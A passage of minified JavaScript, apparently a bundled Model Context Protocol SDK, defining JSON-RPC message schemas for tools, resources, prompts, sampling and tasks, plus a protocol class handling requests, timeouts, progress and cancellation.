A==="function")),U97=gz([U1(),iY().int()]),p97=U1(),IHY=NZ({ttl:gz([iY(),QEA()]).optional(),pollInterval:iY().optional()}),jG6=NZ({taskId:U1()}),SHY=NZ({progressToken:U97.optional(),[gu]:jG6.optional()}),Jf=NZ({task:IHY.optional(),_meta:SHY.optional()}),eZ=w4({method:U1(),params:Jf.optional()}),qqA=NZ({_meta:w4({[gu]:GK(jG6)}).passthrough().optional()}),LC=w4({method:U1(),params:qqA.optional()}),pD=NZ({_meta:NZ({[gu]:jG6.optional()}).optional()}),bO1=gz([U1(),iY().int()]),d97=w4({jsonrpc:AK(hO1),id:bO1,...eZ.shape}).strict(),c97=w4({jsonrpc:AK(hO1),...LC.shape}).strict(),i97=w4({jsonrpc:AK(hO1),id:bO1,result:pD}).strict();(function(A){A[A.ConnectionClosed=-32000]="ConnectionClosed",A[A.RequestTimeout=-32001]="RequestTimeout",A[A.ParseError=-32700]="ParseError",A[A.InvalidRequest=-32600]="InvalidRequest",A[A.MethodNotFound=-32601]="MethodNotFound",A[A.InvalidParams=-32602]="InvalidParams",A[A.InternalError=-32603]="InternalError",A[A.UrlElicitationRequired=-32042]="UrlElicitationRequired"})(Hq||(Hq={}));n97=w4({jsonrpc:AK(hO1),id:bO1,error:w4({code:iY().int(),message:U1(),data:GK(p0())})}).strict(),Fu=gz([d97,c97,i97,n97]),qp=pD.strict(),hHY=qqA.extend({requestId:bO1,reason:U1().optional()}),xO1=LC.extend({method:AK("notifications/cancelled"),params:hHY}),bHY=w4({src:U1(),mimeType:U1().optional(),sizes:b4(U1()).optional()}),exA=w4({icons:b4(bHY).optional()}),UGA=w4({name:U1(),title:U1().optional()}),o97=UGA.extend({...UGA.shape,...exA.shape,version:U1(),websiteUrl:U1().optional()}),xHY=UEA(w4({applyDefaults:mz().optional()}),UO(U1(),p0())),uHY=HA1((A)=>{if(A&&typeof A==="object"&&!Array.isArray(A)){if(Object.keys(A).length===0)return{form:{}}}return A},UEA(w4({form:xHY.optional(),url:mu.optional()}),UO(U1(),p0()).optional())),BHY=w4({list:GK(w4({}).passthrough()),cancel:GK(w4({}).passthrough()),requests:GK(w4({sampling:GK(w4({createMessage:GK(w4({}).passthrough())}).passthrough()),elicitation:GK(w4({create:GK(w4({}).passthrough())}).passthrough())}).passthrough())}).passthrough(),mHY=w4({list:GK(w4({}).passthrough()),cancel:GK(w4({}).passthrough()),requests:GK(w4({tools:GK(w4({call:GK(w4({}).passthrough())}).passthrough())}).passthrough())}).passthrough(),gHY=w4({experimental:UO(U1(),mu).optional(),sampling:w4({context:mu.optional(),tools:mu.optional()}).optional(),elicitation:uHY.optional(),roots:w4({listChanged:mz().optional()}).optional(),tasks:GK(BHY)}),FHY=Jf.extend({protocolVersion:U1(),capabilities:gHY,clientInfo:o97}),MG6=eZ.extend({method:AK("initialize"),params:FHY}),QHY=w4({experimental:UO(U1(),mu).optional(),logging:mu.optional(),completions:mu.optional(),prompts:GK(w4({listChanged:GK(mz())})),resources:w4({subscribe:mz().optional(),listChanged:mz().optional()}).optional(),tools:w4({listChanged:mz().optional()}).optional(),tasks:GK(mHY)}).passthrough(),PG6=pD.extend({protocolVersion:U1(),capabilities:QHY,serverInfo:o97,instructions:U1().optional()}),uO1=LC.extend({method:AK("notifications/initialized")}),BO1=eZ.extend({method:AK("ping")}),UHY=w4({progress:iY(),total:GK(iY()),message:GK(U1())}),pHY=w4({...qqA.shape,...UHY.shape,progressToken:U97}),mO1=LC.extend({method:AK("notifications/progress"),params:pHY}),dHY=Jf.extend({cursor:p97.optional()}),AuA=eZ.extend({params:dHY.optional()}),KuA=pD.extend({nextCursor:GK(p97)}),quA=w4({taskId:U1(),status:i_(["working","input_required","completed","failed","cancelled"]),ttl:gz([iY(),QEA()]),createdAt:U1(),lastUpdatedAt:U1(),pollInterval:GK(iY()),statusMessage:GK(U1())}),Yp=pD.extend({task:quA}),cHY=qqA.merge(quA),YuA=LC.extend({method:AK("notifications/tasks/status"),params:cHY}),gO1=eZ.extend({method:AK("tasks/get"),params:Jf.extend({taskId:U1()})}),FO1=pD.merge(quA),QO1=eZ.extend({method:AK("tasks/result"),params:Jf.extend({taskId:U1()})}),UO1=AuA.extend({method:AK("tasks/list")}),pO1=KuA.extend({tasks:b4(quA)}),s97=eZ.extend({method:AK("tasks/cancel"),params:Jf.extend({taskId:U1()})}),t97=pD.merge(quA),e97=w4({uri:U1(),mimeType:GK(U1()),_meta:UO(U1(),p0()).optional()}),AY7=e97.extend({text:U1()}),VG6=U1().refine((A)=>{try{return atob(A),!0}catch(K){return!1}},{message:"Invalid Base64 string"}),KY7=e97.extend({blob:VG6}),pGA=w4({audience:b4(i_(["user","assistant"])).optional(),priority:iY().min(0).max(1).optional(),lastModified:iHA.datetime({offset:!0}).optional()}),qY7=w4({...UGA.shape,...exA.shape,uri:U1(),description:GK(U1()),mimeType:GK(U1()),annotations:pGA.optional(),_meta:GK(NZ({}))}),lHY=w4({...UGA.shape,...exA.shape,uriTemplate:U1(),description:GK(U1()),mimeType:GK(U1()),annotations:pGA.optional(),_meta:GK(NZ({}))}),iHY=AuA.extend({method:AK("resources/list")}),zqA=KuA.extend({resources:b4(qY7)}),nHY=AuA.extend({method:AK("resources/templates/list")}),fG6=KuA.extend({resourceTemplates:b4(lHY)}),NG6=Jf.extend({uri:U1()}),rHY=NG6,oHY=eZ.extend({method:AK("resources/read"),params:rHY}),wqA=pD.extend({contents:b4(gz([AY7,KY7]))}),TG6=LC.extend({method:AK("notifications/resources/list_changed")}),aHY=NG6,sHY=eZ.extend({method:AK("resources/subscribe"),params:aHY}),tHY=NG6,eHY=eZ.extend({method:AK("resources/unsubscribe"),params:tHY}),AJY=qqA.extend({uri:U1()}),KJY=LC.extend({method:AK("notifications/resources/updated"),params:AJY}),qJY=w4({name:U1(),description:GK(U1()),required:GK(mz())}),YJY=w4({...UGA.shape,...exA.shape,description:GK(U1()),arguments:GK(b4(qJY)),_meta:GK(NZ({}))}),zJY=AuA.extend({method:AK("prompts/list")}),zuA=KuA.extend({prompts:b4(YJY)}),wJY=Jf.extend({name:U1(),arguments:UO(U1(),U1()).optional()}),HJY=eZ.extend({method:AK("prompts/get"),params:wJY}),vG6=w4({type:AK("text"),text:U1(),annotations:pGA.optional(),_meta:UO(U1(),p0()).optional()}),EG6=w4({type:AK("image"),data:VG6,mimeType:U1(),annotations:pGA.optional(),_meta:UO(U1(),p0()).optional()}),kG6=w4({type:AK("audio"),data:VG6,mimeType:U1(),annotations:pGA.optional(),_meta:UO(U1(),p0()).optional()}),JJY=w4({type:AK("tool_use"),name:U1(),id:U1(),input:w4({}).passthrough(),_meta:GK(w4({}).passthrough())}).passthrough(),OJY=w4({type:AK("resource"),resource:gz([AY7,KY7]),annotations:pGA.optional(),_meta:UO(U1(),p0()).optional()}),XJY=qY7.extend({type:AK("resource_link")}),CG6=gz([vG6,EG6,kG6,XJY,OJY]),$JY=w4({role:i_(["user","assistant"]),content:CG6}),LG6=pD.extend({description:GK(U1()),messages:b4($JY)}),RG6=LC.extend({method:AK("notifications/prompts/list_changed")}),_JY=w4({title:U1().optional(),readOnlyHint:mz().optional(),destructiveHint:mz().optional(),idempotentHint:mz().optional(),openWorldHint:mz().optional()}),GJY=w4({taskSupport:i_(["required","optional","forbidden"]).optional()}),YY7=w4({...UGA.shape,...exA.shape,description:U1().optional(),inputSchema:w4({type:AK("object"),properties:UO(U1(),mu).optional(),required:b4(U1()).optional()}).catchall(p0()),outputSchema:w4({type:AK("object"),properties:UO(U1(),mu).optional(),required:b4(U1()).optional()}).catchall(p0()).optional(),annotations:GK(_JY),execution:GK(GJY),_meta:UO(U1(),p0()).optional()}),wuA=AuA.extend({method:AK("tools/list")}),HuA=KuA.extend({tools:b4(YY7)}),mM=pD.extend({content:b4(CG6).default([]),structuredContent:UO(U1(),p0()).optional(),isError:GK(mz())}),uow=mM.or(pD.extend({toolResult:p0()})),ZJY=Jf.extend({name:U1(),arguments:GK(UO(U1(),p0()))}),HqA=eZ.extend({method:AK("tools/call"),params:ZJY}),yG6=LC.extend({method:AK("notifications/tools/list_changed")}),JuA=i_(["debug","info","notice","warning","error","critical","alert","emergency"]),WJY=Jf.extend({level:JuA}),IG6=eZ.extend({method:AK("logging/setLevel"),params:WJY}),DJY=qqA.extend({level:JuA,logger:U1().optional(),data:p0()}),jJY=LC.extend({method:AK("notifications/message"),params:DJY}),MJY=w4({name:U1().optional()}),PJY=w4({hints:GK(b4(MJY)),costPriority:GK(iY().min(0).max(1)),speedPriority:GK(iY().min(0).max(1)),intelligencePriority:GK(iY().min(0).max(1))}),VJY=w4({mode:GK(i_(["auto","required","none"]))}),fJY=w4({type:AK("tool_result"),toolUseId:U1().describe("The unique identifier for the corresponding tool call."),content:b4(CG6).default([]),structuredContent:w4({}).passthrough().optional(),isError:GK(mz()),_meta:GK(w4({}).passthrough())}).passthrough(),NJY=zA1("type",[vG6,EG6,kG6]),IO1=zA1("type",[vG6,EG6,kG6,JJY,fJY]),TJY=w4({role:i_(["user","assistant"]),content:gz([IO1,b4(IO1)]),_meta:GK(w4({}).passthrough())}).passthrough(),vJY=Jf.extend({messages:b4(TJY),modelPreferences:PJY.optional(),systemPrompt:U1().optional(),includeContext:i_(["none","thisServer","allServers"]).optional(),temperature:iY().optional(),maxTokens:iY().int(),stopSequences:b4(U1()).optional(),metadata:mu.optional(),tools:GK(b4(YY7)),toolChoice:GK(VJY)}),SG6=eZ.extend({method:AK("sampling/createMessage"),params:vJY}),OuA=pD.extend({model:U1(),stopReason:GK(i_(["endTurn","stopSequence","maxTokens"]).or(U1())),role:i_(["user","assistant"]),content:NJY}),hG6=pD.extend({model:U1(),stopReason:GK(i_(["endTurn","stopSequence","maxTokens","toolUse"]).or(U1())),role:i_(["user","assistant"]),content:gz([IO1,b4(IO1)])}),EJY=w4({type:AK("boolean"),title:U1().optional(),description:U1().optional(),default:mz().optional()}),kJY=w4({type:AK("string"),title:U1().optional(),description:U1().optional(),minLength:iY().optional(),maxLength:iY().optional(),format:i_(["email","uri","date","date-time"]).optional(),default:U1().optional()}),CJY=w4({type:i_(["number","integer"]),title:U1().optional(),description:U1().optional(),minimum:iY().optional(),maximum:iY().optional(),default:iY().optional()}),LJY=w4({type:AK("string"),title:U1().optional(),description:U1().optional(),enum:b4(U1()),default:U1().optional()}),RJY=w4({type:AK("string"),title:U1().optional(),description:U1().optional(),oneOf:b4(w4({const:U1(),title:U1()})),default:U1().optional()}),yJY=w4({type:AK("string"),title:U1().optional(),description:U1().optional(),enum:b4(U1()),enumNames:b4(U1()).optional(),default:U1().optional()}),IJY=gz([LJY,RJY]),SJY=w4({type:AK("array"),title:U1().optional(),description:U1().optional(),minItems:iY().optional(),maxItems:iY().optional(),items:w4({type:AK("string"),enum:b4(U1())}),default:b4(U1()).optional()}),hJY=w4({type:AK("array"),title:U1().optional(),description:U1().optional(),minItems:iY().optional(),maxItems:iY().optional(),items:w4({anyOf:b4(w4({const:U1(),title:U1()}))}),default:b4(U1()).optional()}),bJY=gz([SJY,hJY]),xJY=gz([yJY,IJY,bJY]),uJY=gz([xJY,EJY,kJY,CJY]),BJY=Jf.extend({mode:AK("form").optional(),message:U1(),requestedSchema:w4({type:AK("object"),properties:UO(U1(),uJY),required:b4(U1()).optional()})}),mJY=Jf.extend({mode:AK("url"),message:U1(),elicitationId:U1(),url:U1().url()}),gJY=gz([BJY,mJY]),dO1=eZ.extend({method:AK("elicitation/create"),params:gJY}),FJY=qqA.extend({elicitationId:U1()}),QJY=LC.extend({method:AK("notifications/elicitation/complete"),params:FJY}),dGA=pD.extend({action:i_(["accept","decline","cancel"]),content:HA1((A)=>A===null?void 0:A,UO(U1(),gz([U1(),iY(),mz(),b4(U1())])).optional())}),UJY=w4({type:AK("ref/resource"),uri:U1()}),pJY=w4({type:AK("ref/prompt"),name:U1()}),dJY=Jf.extend({ref:gz([pJY,UJY]),argument:w4({name:U1(),value:U1()}),context:w4({arguments:UO(U1(),U1()).optional()}).optional()}),cJY=eZ.extend({method:AK("completion/complete"),params:dJY}),bG6=pD.extend({completion:NZ({values:b4(U1()).max(100),total:GK(iY().int()),hasMore:GK(mz())})}),lJY=w4({uri:U1().startsWith("file://"),name:U1().optional(),_meta:UO(U1(),p0()).optional()}),xG6=eZ.extend({method:AK("roots/list")}),uG6=pD.extend({roots:b4(lJY)}),iJY=LC.extend({method:AK("notifications/roots/list_changed")}),Bow=gz([BO1,MG6,cJY,IG6,HJY,zJY,iHY,nHY,oHY,sHY,eHY,HqA,wuA,gO1,QO1,UO1]),mow=gz([xO1,mO1,uO1,iJY,YuA]),gow=gz([qp,OuA,hG6,dGA,uG6,FO1,pO1,Yp]),Fow=gz([BO1,SG6,dO1,xG6,gO1,QO1,UO1]),Qow=gz([xO1,mO1,jJY,KJY,TG6,yG6,RG6,YuA,QJY]),Uow=gz([qp,PG6,bG6,LG6,zuA,zqA,fG6,wqA,mM,HuA,FO1,pO1,Yp]);MK=class MK extends Error{constructor(A,K,q){super(`MCP error ${A}: ${K}`);this.code=A,this.data=q,this.name="McpError"}static fromError(A,K,q){if(A===Hq.UrlElicitationRequired&&q){let Y=q;if(Y.elicitations)return new zY7(Y.elicitations,K)}return new MK(A,K,q)}};zY7=class zY7 extends MK{constructor(A,K=`URL elicitation${A.length>1?"s":""} required`){super(Hq.UrlElicitationRequired,K,{elicitations:A})}get elicitations(){var A,K;return(K=(A=this.data)===null||A===void 0?void 0:A.elicitations)!==null&&K!==void 0?K:[]}}});function Ja(A){return A==="completed"||A==="failed"||A==="cancelled"}var nJY;var cO1=k(()=>{nJY=Symbol("Let zodToJsonSchema decide on which parser to use")});var BG6=k(()=>{cO1()});var RC=()=>{};var mG6=k(()=>{_$()});var gG6=()=>{};var lO1=k(()=>{_$()});var FG6=k(()=>{_$()});var QG6=()=>{};var UG6=k(()=>{_$()});var pG6=k(()=>{_$();RC()});var dG6=k(()=>{_$()});var faw;var iO1=k(()=>{faw=new Set("ABCDEFGHIJKLMNOPQRSTUVXYZabcdefghijklmnopqrstuvxyz0123456789")});var nO1=k(()=>{_$();iO1();lO1();RC()});var cG6=k(()=>{_$();nO1();RC()});var lG6=k(()=>{RC()});var rO1=k(()=>{_$()});var iG6=k(()=>{_$();rO1()});var nG6=()=>{};var rG6=k(()=>{_$()});var oG6=k(()=>{_$();RC()});var aG6=k(()=>{_$()});var sG6=k(()=>{_$()});var tG6=k(()=>{_$()});var eG6=k(()=>{_$()});var AZ6=k(()=>{RC()});var KZ6=k(()=>{RC()});var qZ6=k(()=>{_$()});var YZ6=k(()=>{RC();mG6();gG6();lO1();FG6();QG6();UG6();pG6();dG6();cG6();lG6();iG6();nG6();rG6();oG6();aG6();sG6();nO1();tG6();iO1();eG6();AZ6();rO1();KZ6();qZ6()});var _$=k(()=>{cO1();YZ6();RC()});var wY7=()=>{};var zZ6=k(()=>{_$();BG6();RC()});var HY7=k(()=>{zZ6();cO1();BG6();_$();wY7();RC();mG6();gG6();lO1();FG6();QG6();UG6();pG6();dG6();cG6();lG6();iG6();nG6();rG6();oG6();aG6();sG6();qZ6();nO1();tG6();iO1();eG6();AZ6();rO1();KZ6();YZ6();zZ6()});function wZ6(A){let K=QGA(A),q=K===null||K===void 0?void 0:K.method;if(!q)throw Error("Schema is missing a method literal");let Y=Q97(q);if(typeof Y!=="string")throw Error("Schema method literal must be a string");return Y}function HZ6(A,K){let q=BM(A,K);if(!q.success)throw q.error;return q.data}var JY7=k(()=>{sxA();HY7()});class $uA{constructor(A){if(this._options=A,this._requestMessageId=0,this._requestHandlers=new Map,this._requestHandlerAbortControllers=new Map,this._notificationHandlers=new Map,this._responseHandlers=new Map,this._progressHandlers=new Map,this._timeoutInfo=new Map,this._pendingDebouncedNotifications=new Set,this._taskProgressTokens=new Map,this._requestResolvers=new Map,this.setNotificationHandler(xO1,(K)=>{this._oncancel(K)}),this.setNotificationHandler(mO1,(K)=>{this._onprogress(K)}),this.setRequestHandler(BO1,(K)=>({})),this._taskStore=A===null||A===void 0?void 0:A.taskStore,this._taskMessageQueue=A===null||A===void 0?void 0:A.taskMessageQueue,this._taskStore)this.setRequestHandler(gO1,async(K,q)=>{let Y=await this._taskStore.getTask(K.params.taskId,q.sessionId);if(!Y)throw new MK(Hq.InvalidParams,"Failed to retrieve task: Task not found");return{...Y}}),this.setRequestHandler(QO1,async(K,q)=>{let Y=async()=>{var z;let w=K.params.taskId;if(this._taskMessageQueue){let J;while(J=await this._taskMessageQueue.dequeue(w,q.sessionId)){if(J.type==="response"||J.type==="error"){let O=J.message,X=O.id,$=this._requestResolvers.get(X);if($)if(this._requestResolvers.delete(X),J.type==="response")$(O);else{let _=O,G=new MK(_.error.code,_.error.message,_.error.data);$(G)}else{let _=J.type==="response"?"Response":"Error";this._onerror(Error(`${_} handler missing for request ${X}`))}continue}await((z=this._transport)===null||z===void 0?void 0:z.send(J.message,{relatedRequestId:q.requestId}))}}let H=await this._taskStore.getTask(w,q.sessionId);if(!H)throw new MK(Hq.InvalidParams,`Task not found: ${w}`);if(!Ja(H.status))return await this._waitForTaskUpdate(w,q.signal),await Y();if(Ja(H.status)){let J=await this._taskStore.getTaskResult(w,q.sessionId);return this._clearTaskQueue(w),{...J,_meta:{...J._meta,[gu]:{taskId:w}}}}return await Y()};return await Y()}),this.setRequestHandler(UO1,async(K,q)=>{var Y;try{let{tasks:z,nextCursor:w}=await this._taskStore.listTasks((Y=K.params)===null||Y===void 0?void 0:Y.cursor,q.sessionId);return{tasks:z,nextCursor:w,_meta:{}}}catch(z){throw new MK(Hq.InvalidParams,`Failed to list tasks: ${z instanceof Error?z.message:String(z)}`)}}),this.setRequestHandler(s97,async(K,q)=>{try{let Y=await this._taskStore.getTask(K.params.taskId,q.sessionId);if(!Y)throw new MK(Hq.InvalidParams,`Task not found: ${K.params.taskId}`);if(Ja(Y.status))throw new MK(Hq.InvalidParams,`Cannot cancel task in terminal status: ${Y.status}`);await this._taskStore.updateTaskStatus(K.params.taskId,"cancelled","Client cancelled task execution.",q.sessionId),this._clearTaskQueue(K.params.taskId);let z=await this._taskStore.getTask(K.params.taskId,q.sessionId);if(!z)throw new MK(Hq.InvalidParams,`Task not found after cancellation: ${K.params.taskId}`);return{_meta:{},...z}}catch(Y){if(Y instanceof MK)throw Y;throw new MK(Hq.InvalidRequest,`Failed to cancel task: ${Y instanceof Error?Y.message:String(Y)}`)}})}async _oncancel(A){let K=this._requestHandlerAbortControllers.get(A.params.requestId);K===null||K===void 0||K.abort(A.params.reason)}_setupTimeout(A,K,q,Y,z=!1){this._timeoutInfo.set(A,{timeoutId:setTimeout(Y,K),startTime:Date.now(),timeout:K,maxTotalTimeout:q,resetTimeoutOnProgress:z,onTimeout:Y})}_resetTimeout(A){let K=this._timeoutInfo.get(A);if(!K)return!1;let q=Date.now()-K.startTime;if(K.maxTotalTimeout&&q>=K.maxTotalTimeout)throw this._timeoutInfo.delete(A),MK.fromError(Hq.RequestTimeout,"Maximum total timeout exceeded",{maxTotalTimeout:K.maxTotalTimeout,totalElapsed:q});return clearTimeout(K.timeoutId),K.timeoutId=setTimeout(K.onTimeout,K.timeout),!0}_cleanupTimeout(A){let K=this._timeoutInfo.get(A);if(K)clearTimeout(K.timeoutId),this._timeoutInfo.delete(A)}async connect(A){var K,q,Y;this._transport=A;let z=(K=this.transport)===null||K===void 0?void 0:K.onclose;this._transport.onclose=()=>{z===null||z===void 0||z(),this._onclose()};let w=(q=this.transport)===null||q===void 0?void 0:q.onerror;this._transport.onerror=(J)=>{w===null||w===void 0||w(J),this._onerror(J)};let H=(Y=this._transport)===null||Y===void 0?void 0:Y.onmessage;this._transport.onmessage=(J,O)=>{if(H===null||H===void 0||H(J,O),YqA(J)||r97(J))this._onresponse(J);else if(txA(J))this._onrequest(J,O);else if(l97(J))this._onnotification(J);else this._onerror(Error(`Unknown message type: ${JSON.stringify(J)}`))},await this._transport.start()}_onclose(){var A;let K=this._responseHandlers;this._responseHandlers=new Map,this._progressHandlers.clear(),this._taskProgressTokens.clear(),this._pendingDebouncedNotifications.clear();let q=MK.fromError(Hq.ConnectionClosed,"Connection closed");this._transport=void 0,(A=this.onclose)===null||A===void 0||A.call(this);for(let Y of K.values())Y(q)}_onerror(A){var K;(K=this.onerror)===null||K===void 0||K.call(this,A)}_onnotification(A){var K;let q=(K=this._notificationHandlers.get(A.method))!==null&&K!==void 0?K:this.fallbackNotificationHandler;if(q===void 0)return;Promise.resolve().then(()=>q(A)).catch((Y)=>this._onerror(Error(`Uncaught error in notification handler: ${Y}`)))}_onrequest(A,K){var q,Y,z,w,H,J;let O=(q=this._requestHandlers.get(A.method))!==null&&q!==void 0?q:this.fallbackRequestHandler,X=this._transport,$=(w=(z=(Y=A.params)===null||Y===void 0?void 0:Y._meta)===null||z===void 0?void 0:z[gu])===null||w===void 0?void 0:w.taskId;if(O===void 0){let D={jsonrpc:"2.0",id:A.id,error:{code:Hq.MethodNotFound,message:"Method not found"}};if($&&this._taskMessageQueue)this._enqueueTaskMessage($,{type:"error",message:D,timestamp:Date.now()},X===null||X===void 0?void 0:X.sessionId).catch((j)=>this._onerror(Error(`Failed to enqueue error response: ${j}`)));else X===null||X===void 0||X.send(D).catch((j)=>this._onerror(Error(`Failed to send an error response: ${j}`)));return}let _=new AbortController;this._requestHandlerAbortControllers.set(A.id,_);let G=(H=A.params)===null||H===void 0?void 0:H.task,Z=this._taskStore?this.requestTaskStore(A,X===null||X===void 0?void 0:X.sessionId):void 0,W={signal:_.signal,sessionId:X===null||X===void 0?void 0:X.sessionId,_meta:(J=A.params)===null||J===void 0?void 0:J._meta,sendNotification:async(D)=>{let j={relatedRequestId:A.id};if($)j.relatedTask={taskId:$};await this.notification(D,j)},sendRequest:async(D,j,M)=>{var P,f;let N={...M,relatedRequestId:A.id};if($&&!N.relatedTask)N.relatedTask={taskId:$};let T=(f=(P=N.relatedTask)===null||P===void 0?void 0:P.taskId)!==null&&f!==void 0?f:$;if(T&&Z)await Z.updateTaskStatus(T,"input_required");return await this.request(D,j,N)},authInfo:K===null||K===void 0?void 0:K.authInfo,requestId:A.id,requestInfo:K===null||K===void 0?void 0:K.requestInfo,taskId:$,taskStore:Z,taskRequestedTtl:G===null||G===void 0?void 0:G.ttl,closeSSEStream:K===null||K===void 0?void 0:K.closeSSEStream,closeStandaloneSSEStream:K===null||K===void 0?void 0:K.closeStandaloneSSEStream};Promise.resolve().then(()=>{if(G)this.assertTaskHandlerCapability(A.method)}).then(()=>O(A,W)).then(async(D)=>{if(_.signal.aborted)return;let j={result:D,jsonrpc:"2.0",id:A.id};if($&&this._taskMessageQueue)await this._enqueueTaskMessage($,{type:"response",message:j,timestamp:Date.now()},X===null||X===void 0?void 0:X.sessionId);else await(X===null||X===void 0?void 0:X.send(j))},async(D)=>{var j;if(_.signal.aborted)return;let M={jsonrpc:"2.0",id:A.id,error:{code:Number.isSafeInteger(D.code)?D.code:Hq.InternalError,message:(j=D.message)!==null&&j!==void 0?j:"Internal error",...D.data!==void 0&&{data:D.data}}};if($&&this._taskMessageQueue)await this._enqueueTaskMessage($,{type:"error",message:M,timestamp:Date.now()},X===null||X===void 0?void 0:X.sessionId);else await(X===null||X===void 0?void 0:X.send(M))}).catch((D)=>this._onerror(Error(`Failed to send response: ${D}`))).finally(()=>{this._requestHandlerAbortControllers.delete(A.id)})}_onprogress(A){let{progressToken:K,...q}=A.params,Y=Number(K),z=this._progressHandlers.get(Y);if(!z){this._onerror(Error(`Received a progress notification for an unknown token: ${JSON.stringify(A)}`));return}let w=this._responseHandlers.get(Y),H=this._timeoutInfo.get(Y);if(H&&w&&H.resetTimeoutOnProgress)try{this._resetTimeout(Y)}catch(J){this._responseHandlers.delete(Y),this._progressHandlers.delete(Y),this._cleanupTimeout(Y),w(J);return}z(q)}_onresponse(A){let K=Number(A.id),q=this._requestResolvers.get(K);if(q){if(this._requestResolvers.delete(K),YqA(A))q(A);else{let w=new MK(A.error.code,A.error.message,A.error.data);q(w)}return}let Y=this._responseHandlers.get(K);if(Y===void 0){this._onerror(Error(`Received a response for an unknown message ID: ${JSON.stringify(A)}`));return}this._responseHandlers.delete(K),this._cleanupTimeout(K);let z=!1;if(YqA(A)&&A.result&&typeof A.result==="object"){let w=A.result;if(w.task&&typeof w.task==="object"){let H=w.task;if(typeof H.taskId==="string")z=!0,this._taskProgressTokens.set(H.taskId,K)}}if(!z)this._progressHandlers.delete(K);if(YqA(A))Y(A);else{let w=MK.fromError(A.error.code,A.error.message,A.error.data);Y(w)}}get transport(){return this._transport}async close(){var A;await((A=this._transport)===null||A===void 0?void 0:A.close())}async*requestStream(A,K,q){var Y,z,w,H;let{task:J}=q!==null&&q!==void 0?q:{};if(!J){try{yield{type:"result",result:await this.request(A,K,q)}}catch(X){yield{type:"error",error:X instanceof MK?X:new MK(Hq.InternalError,String(X))}}return}let O;try{let X=await this.request(A,Yp,q);if(X.task)O=X.task.taskId,yield{type:"taskCreated",task:X.task};else throw new MK(Hq.InternalError,"Task creation did not return a task");while(!0){let $=await this.getTask({taskId:O},q);if(yield{type:"taskStatus",task:$},Ja($.status)){if($.status==="completed")yield{type:"result",result:await this.getTaskResult({taskId:O},K,q)};else if($.status==="failed")yield{type:"error",error:new MK(Hq.InternalError,`Task ${O} failed`)};else if($.status==="cancelled")yield{type:"error",error:new MK(Hq.InternalError,`Task ${O} was cancelled`)};return}if($.status==="input_required"){yield{type:"result",result:await this.getTaskResult({taskId:O},K,q)};return}let _=(w=(Y=$.pollInterval)!==null&&Y!==void 0?Y:(z=this._options)===null||z===void 0?void 0:z.defaultTaskPollInterval)!==null&&w!==void 0?w:1000;await new Promise((G)=>setTimeout(G,_)),(H=q===null||q===void 0?void 0:q.signal)===null||H===void 0||H.throwIfAborted()}}catch(X){yield{type:"error",error:X instanceof MK?X:new MK(Hq.InternalError,String(X))}}}request(A,K,q){let{relatedRequestId:Y,resumptionToken:z,onresumptiontoken:w,task:H,relatedTask:J}=q!==null&&q!==void 0?q:{};return new Promise((O,X)=>{var $,_,G,Z,W,D,j;let M=(x)=>{X(x)};if(!this._transport){M(Error("Not connected"));return}if((($=this._options)===null||$===void 0?void 0:$.enforceStrictCapabilities)===!0)try{if(this.assertCapabilityForMethod(A.method),H)this.assertTaskCapability(A.method)}catch(x){M(x);return}(_=q===null||q===void 0?void 0:q.signal)===null||_===void 0||_.throwIfAborted();let P=this._requestMessageId++,f={...A,jsonrpc:"2.0",id:P};if(q===null||q===void 0?void 0:q.onprogress)this._progressHandlers.set(P,q.onprogress),f.params={...A.params,_meta:{...((G=A.params)===null||G===void 0?void 0:G._meta)||{},progressToken:P}};if(H)f.params={...f.params,task:H};if(J)f.params={...f.params,_meta:{...((Z=f.params)===null||Z===void 0?void 0:Z._meta)||{},[gu]:J}};let N=(x)=>{var y;this._responseHandlers.delete(P),this._progressHandlers.delete(P),this._cleanupTimeout(P),(y=this._transport)===null||y===void 0||y.send({jsonrpc:"2.0",method:"notifications/cancelled",params:{requestId:P,reason:String(x)}},{relatedRequestId:Y,resumptionToken:z,onresumptiontoken:w}).catch((b)=>this._onerror(Error(`Failed to send cancellation: ${b}`)));let B=x instanceof MK?x:new MK(Hq.RequestTimeout,String(x));X(B)};this._responseHandlers.set(P,(x)=>{var y;if((y=q===null||q===void 0?void 0:q.signal)===null||y===void 0?void 0:y.aborted)return;if(x instanceof Error)return X(x);try{let B=BM(K,x.result);if(!B.success)X(B.error);else O(B.data)}catch(B){X(B)}}),(W=q===null||q===void 0?void 0:q.signal)===null||W===void 0||W.addEventListener("abort",()=>{var x;N((x=q===null||q===void 0?void 0:q.signal)===null||x===void 0?void 0:x.reason)});let T=(D=q===null||q===void 0?void 0:q.timeout)!==null&&D!==void 0?D:eJY,C=()=>N(MK.fromError(Hq.RequestTimeout,"Request timed out",{timeout:T}));this._setupTimeout(P,T,q===null||q===void 0?void 0:q.maxTotalTimeout,C,(j=q===null||q===void 0?void 0:q.resetTimeoutOnProgress)!==null&&j!==void 0?j:!1);let R=J===null||J===void 0?void 0:J.taskId;if(R){let x=(y)=>{let B=this._responseHandlers.get(P);if(B)B(y);else this._onerror(Error(`Response handler missing for side-channeled request ${P}`))};this._requestResolvers.set(P,x),this._enqueueTaskMessage(R,{type:"request",message:f,timestamp:Date.now()}).catch((y)=>{this._cleanupTimeout(P),X(y)})}else this._transport.send(f,{relatedRequestId:Y,resumptionToken:z,onresumptiontoken:w}).catch((x)=>{this._cleanupTimeout(P),X(x)})})}async getTask(A,K){return this.request({method:"tasks/get",params:A},FO1,K)}async getTaskResult(A,K,q){return this.request({method:"tasks/result",params:A},K,q)}async listTasks(A,K){return this.request({method:"tasks/list",params:A},pO1,K)}async cancelTask(A,K){return this.request({method:"tasks/cancel",params:A},t97,K)}async notification(A,K){var q,Y,z,w,H;if(!this._transport)throw Error("Not connected");this.assertNotificationCapability(A.method);let J=(q=K===null||K===void 0?void 0:K.relatedTask)===null||q===void 0?void 0:q.taskId;if(J){let _={...A,jsonrpc:"2.0",params:{...A.params,_meta:{...((Y=A.params)===null||Y===void 0?void 0:Y._meta)||{},[gu]:K.relatedTask}}};await this._enqueueTaskMessage(J,{type:"notification",message:_,timestamp:Date.now()});return}if(((w=(z=this._options)===null||z===void 0?void 0:z.debouncedNotificationMethods)!==null&&w!==void 0?w:[]).includes(A.method)&&!A.params&&!(K===null||K===void 0?void 0:K.relatedRequestId)&&!(K===null||K===void 0?void 0:K.relatedTask)){if(this._pendingDebouncedNotifications.has(A.method))return;this._pendingDebouncedNotifications.add(A.method),Promise.resolve().then(()=>{var _,G;if(this._pendingDebouncedNotifications.delete(A.method),!this._transport)return;let 